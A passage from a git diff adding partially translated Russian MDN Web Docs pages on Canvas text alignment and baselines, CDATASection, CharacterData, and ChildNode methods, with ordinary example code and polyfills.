+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.textAlign")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html b/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html
new file mode 100644
index 0000000000..545cf211b5
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html
@@ -0,0 +1,100 @@
+---
+title: CanvasRenderingContext2D.textBaseline
+slug: Web/API/CanvasRenderingContext2D/textBaseline
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/textBaseline
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.textBaseline</code></strong> - свойство Canvas 2D API, указывающее на текущую базовую линию при рисовании текста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.textBaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom";
+</pre>
+
+<h3 id="Опции">Опции</h3>
+
+<p>Возможные значения:</p>
+
+<dl>
+ <dt><code>"top"</code></dt>
+ <dd>The text baseline is the top of the em square.</dd>
+ <dt><code>"hanging"</code></dt>
+ <dd>The text baseline is the hanging baseline. (Used by Tibetan and other Indic scripts.)</dd>
+ <dt><code>"middle"</code></dt>
+ <dd>The text baseline is the middle of the em square.</dd>
+ <dt><code>"alphabetic"</code></dt>
+ <dd>The text baseline is the normal alphabetic baseline. Значение по умолчанию.</dd>
+ <dt><code>"ideographic"</code></dt>
+ <dd>The text baseline is the ideographic baseline; this is the bottom of the body of the characters, if the main body of characters protrudes beneath the alphabetic baseline. (Used by Chinese, Japanese, and Korean scripts.)</dd>
+ <dt><code>"bottom"</code></dt>
+ <dd>The text baseline is the bottom of the bounding box. This differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Сравнение_значений_свойства">Сравнение значений свойства</h3>
+
+<p>Этот пример демонстрирует различные значения свойства <code>textBaseline</code> и отображение линий при их приминениях.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="550" height="500"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom'];
+ctx.font = '36px serif';
+ctx.strokeStyle = 'red';
+
+baselines.forEach(function (baseline, index) {
+  ctx.textBaseline = baseline;
+  let y = 75 + index * 75;
+  ctx.beginPath();
+  ctx.moveTo(0, y + 0.5);
+  ctx.lineTo(550, y + 0.5);
+  ctx.stroke();
+  ctx.fillText('Abcdefghijklmnop (' + baseline + ')', 0, y);
+});
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Comparison_of_property_values', 700, 550) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.textBaseline")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/cdatasection/index.html b/files/ru/web/api/cdatasection/index.html
new file mode 100644
index 0000000000..e660a2c42a
--- /dev/null
+++ b/files/ru/web/api/cdatasection/index.html
@@ -0,0 +1,75 @@
+---
+title: CDATASection
+slug: Web/API/CDATASection
+translation_of: Web/API/CDATASection
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Интерфейс <code><strong>CDATASection</strong></code> представляет собой раздел CDATA, который может быть использован внутри XML для добавления extended групп "незакавыченного" текста. Символы <code>&lt;</code> and <code>&amp;</code> не нуждаются в кавычках, как внутри раздела CDATA.</p>
+
+<p>В XML, раздел CDATA выглядит так:</p>
+
+<pre class="syntaxbox">&lt;![CDATA[  ... ]]&gt;
+</pre>
+
+<p>Например:</p>
+
+<pre class="brush:xml">&lt;foo&gt;Here is a CDATA section: &lt;![CDATA[  &lt; &gt; &amp; ]]&gt; with all kinds of unescaped text. &lt;/foo&gt;
+</pre>
+
+<p>Единственная последовательность (символов), не разрешенная внутри раздела CDATA -  это сами символы закрытия раздела CDATA:</p>
+
+<pre class="brush:xml">&lt;![CDATA[  ]]&gt; will cause an error   ]]&gt;
+</pre>
+
+<p>Заметьте, что разделы CDATA не следует использовать внутри HTML; они работают только в  XML.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не имеет специфических свойств и наследует родительские свойства {{domxref("Text")}}.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>This interface has no specific methods and наследует родительские методы {{domxref("Text")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-cdatasection', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Re-added in <a href="https://github.com/whatwg/dom/pull/295">issue #295</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CDATASection")}}</p>
diff --git a/files/ru/web/api/characterdata/index.html b/files/ru/web/api/characterdata/index.html
new file mode 100644
index 0000000000..95d465f1b1
--- /dev/null
+++ b/files/ru/web/api/characterdata/index.html
@@ -0,0 +1,94 @@
+---
+title: CharacterData
+slug: Web/API/CharacterData
+translation_of: Web/API/CharacterData
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Абстрактный интерфейс <code><strong>CharacterData</strong></code> представляет собой объект {{domxref("Node")}}, который содержит символы. "Абстрактность" интерфейса означает то, что не существует объектов типа <code>CharacterData</code>: интерфейс <code><strong>CharacterData</strong></code> реализуется посредством других интерфейсов, таких как {{domxref("Text")}}, {{domxref("Comment")}}, или {{domxref("ProcessingInstruction")}}, которые не являются абстрактными.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("Node")}},  реализуется с помощью {{domxref("ChildNode")}} и {{domxref("NonDocumentTypeChildNode")}}интерфейсов.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.data")}}</dt>
+ <dd> - это {{domxref("DOMString")}}, представляющая(ий) текстовые данные, которые содержит этот объект (DOMString).</dd>
+ <dt>{{domxref("CharacterData.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает an <code>unsigned long</code> и отображает размер строки, содержащейся в <code>CharacterData.data</code>.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Element")}} следующий сразу после указанного  {{domxref("Element")}} элемента в дочернем списке своего родителя, или <code>null</code> если указанный элемент - последний в списке.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Element")}} непосредственно до указанного элемента в дочернем списке своего родительского элемента, или <code>null</code> если указанный элемент - первый в списке.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы родителя, {{domxref("Node")}}, и реализует(ся) (через) ({{domxref("ChildNode")}} <em>и {{domxref("NonDocumentTypeChildNode")}}интерфейсы</em>.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.appendData()")}}</dt>
+ <dd>Добавляет указанную {{domxref("DOMString")}} к строке <code>CharacterData.data</code>; после выполнения данного метода, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">данные содержат</span></font> объединенный(элемент) {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.deleteData()")}}</dt>
+ <dd>Удаляет указанное количество символов, начиная с указанного отступа, из строки <code>CharacterData.data</code>; после выполнения метода, данные(<code>data)</code> содержат урезанный {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.insertData()")}}</dt>
+ <dd>Inserts the specified characters, at the specified offset, in the <code>CharacterData.data</code> string; when this method returns, <code>data</code> contains the modified {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет объект из its parent children списка.</dd>
+ <dt>{{domxref("CharacterData.replaceData()")}}</dt>
+ <dd>Заменяет указанное количество символов, начиная с указанного отступа, с указанным {{domxref("DOMString")}}; после выполнения метода, данные(<code>data)</code> содержат измененый {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.substringData()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, содержащую(ий) часть <code>CharacterData.data</code> указанной длины и начиная с указанного отступа.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added implemention of the {{domxref("ChildNode")}} and {{domxref("NonDocumentTypeChildNode")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Без изменений по сравнению с {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.CharacterData")}}</p>
+
+<h2 id="Смотри(те)_также">Смотри(те) также</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a>.</li>
+</ul>
diff --git a/files/ru/web/api/childnode/index.html b/files/ru/web/api/childnode/index.html
new file mode 100644
index 0000000000..0d1ebf46ec
--- /dev/null
+++ b/files/ru/web/api/childnode/index.html
@@ -0,0 +1,171 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Expérimental(2)
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/ChildNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Интерфейс <code><strong>ChildNode</strong></code>  содержит методы, специфичные для объектов  {{domxref("Node")}}, которые имеют родителя.</p>
+
+<p><code>ChildNode</code> это просто интерфейс и ни один объект этого типа не может быть создан; он реализуется объектами {{domxref("Element")}}, {{domxref("DocumentType")}} и {{domxref("CharacterData")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There is neither inherited, nor specific property.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Отсутствуют унаследованные методы.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет данный <code>ChildNode</code> из списка потомков его родителя.</dd>
+ <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>ChildNode</code>'s parent, just before this <code>ChildNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>ChildNode</code>'s parent, just after this <code>ChildNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>Заменяет <code>ChildNode</code>  в списке потомков его родителя набором {{domxref("Node")}} или {{domxref("DOMString")}} объектов. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Интерфейс <code>ElementTraversal</code>  разделен на {{domxref("ParentNode")}} и <code>ChildNode</code>. Свойства <code>previousElementSibling</code> и <code>nextElementSibling</code> теперь определены в последнем.<br>
+    The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces.<br>
+    Добавлены методы <code>remove()</code>, <code>before()</code>, <code>after()</code> и <code>replaceWith()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>External on github: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>23.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/childnode/remove/index.html b/files/ru/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..ff5b20cc2d
--- /dev/null
+++ b/files/ru/web/api/childnode/remove/index.html
@@ -0,0 +1,148 @@
+---
+title: Node.remove()
+slug: Web/API/ChildNode/remove
+translation_of: Web/API/ChildNode/remove
+---
+<p>Метод <code><strong>Node.remove()</strong></code> удаляет узел из дерева DOM</p>
+
+<p> </p>
+
+<p>То, что элемент удален из DOM, еще не значит, что он удален совсем! </p>
+
+<p>Он остался объектом и исчезнет только тогда, когда исчезнут все ссылки на него.</p>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>Node</em>.remove();
+</pre>
+
+<ul>
+ <li><strong><code>Node</code></strong> - любой узел DOM</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Использование_remove()">Использование remove()</h3>
+
+<pre>&lt;div id="box"&gt;
+   &lt;div id="one"&gt;&lt;/div&gt;
+   &lt;div id="two"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: js">var elem = document.querySelector("#one");
+elem.remove();
+alert(document.querySelector("#box").innerHTML); //Исчез блок #one
+alert(elem); //Но как видите, сам объект еще жив</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Можно создать полифилл для IE 9 и выше, используя следующий код:</p>
+
+<pre class="brush: js">(function() {
+  var arr = [window.Element, window.CharacterData, window.DocumentType];
+  var args = [];
+
+  arr.forEach(function (item) {
+    if (item) {
+      args.push(item.prototype);
+    }
+  });
+
+  // from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+  (function (arr) {
+    arr.forEach(function (item) {
+      if (item.hasOwnProperty('remove')) {
+        return;
+      }
+      Object.defineProperty(item, 'remove', {
+        configurable: true,
+        enumerable: true,
+        writable: true,
+        value: function remove() {
+          this.parentNode.removeChild(this);
+        }
+      });
+    });
+  })(args);
+})();</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>23.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}} и {{domxref("DocumentType")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}} и {{domxref("DocumentType")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/childnode/replacewith/index.html b/files/ru/web/api/childnode/replacewith/index.html
new file mode 100644
index 0000000000..6537d254c4
--- /dev/null
+++ b/files/ru/web/api/childnode/replacewith/index.html
@@ -0,0 +1,113 @@
+---
+title: ChildNode.replaceWith()
+slug: Web/API/ChildNode/replaceWith
+translation_of: Web/API/ChildNode/replaceWith
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>ChildNode.replaceWith()</strong></code> заменяет <code>ChildNode</code> в списке детей их родителя множеством {{domxref("Node")}} или {{domxref("DOMString")}} объектов. {{domxref("DOMString")}} объекты вставляются как эквивалент нод {{domxref("Text")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">[Throws, Unscopable]
+void ChildNode.replaceWith((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Множество заменяемых {{domxref("Node")}} или {{domxref("DOMString")}} объектов.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Нода не может быть вставлена в указанную точку иерархии.</span></span></span></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_replaceWith">Использование <code>replaceWith()</code></h3>
+
+<pre class="brush: js notranslate">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="ChildNode.replaceWith_не_выполним"><code>ChildNode.replaceWith()</code> не выполним</h3>
+
+<p>Метод <code>replaceWith()</code> не входит в область видимости оператора <code>with</code>. Смотрите {{jsxref("Symbol.unscopables")}} для дополнительной информации.</p>
+
+<pre class="brush: js notranslate">with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith is not defined </pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Вы можете заполнить метод <code>replaceWith()</code> в Internet Explorer 10+ и выше следующим кодом:</p>
+
+<pre class="brush: js notranslate">function ReplaceWithPolyfill() {
+  'use-strict'; // For safari, and IE &gt; 10
+  var parent = this.parentNode, i = arguments.length, currentNode;
+  if (!parent) return;
+  if (!i) // if there are no arguments
+    parent.removeChild(this);
+  while (i--) { // i-- decrements i and returns the value of i before the decrement
+    currentNode = arguments[i];
+    if (typeof currentNode !== 'object'){
+      currentNode = this.ownerDocument.createTextNode(currentNode);
+    } else if (currentNode.parentNode){
+      currentNode.parentNode.removeChild(currentNode);
+    }
+    // the value of "i" below is after the decrement
+    if (!i) // if currentNode is the first argument (currentNode === arguments[0])
+      parent.replaceChild(currentNode, this);
+    else // if currentNode isn't the first
+      parent.insertBefore(currentNode, this.nextSibling);
+  }
+}
+if (!Element.prototype.replaceWith)
+    Element.prototype.replaceWith = ReplaceWithPolyfill;
+if (!CharacterData.prototype.replaceWith)
+    CharacterData.prototype.replaceWith = ReplaceWithPolyfill;
+if (!DocumentType.prototype.replaceWith)
+    DocumentType.prototype.replaceWith = ReplaceWithPolyfill;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.ChildNode.replaceWith")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ru/web/api/clients/claim/index.html b/files/ru/web/api/clients/claim/index.html
new file mode 100644
index 0000000000..046a4f8a0d
--- /dev/null
+++ b/files/ru/web/api/clients/claim/index.html
@@ -0,0 +1,114 @@
+---
+title: Clients.claim()
+slug: Web/API/Clients/claim
+translation_of: Web/API/Clients/claim
+---
+<p>{{APIRef("Service Worker Clients")}}</p>
+
